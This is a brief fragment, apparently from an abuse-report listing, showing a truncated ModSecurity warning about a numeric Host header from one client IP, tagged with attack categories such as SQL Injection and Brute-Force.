[Sat Sep 05 07:18:40.253639 2026] [security2:error] [pid 746476:tid 746476] [client 43.130.57.46:43150] ModSecurity: Warning. Pattern match "(?:^([\\\\d.]+|\\\\[[\\\\da-f:]+\\\\]|[\\\\da-f:]+)(:[\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|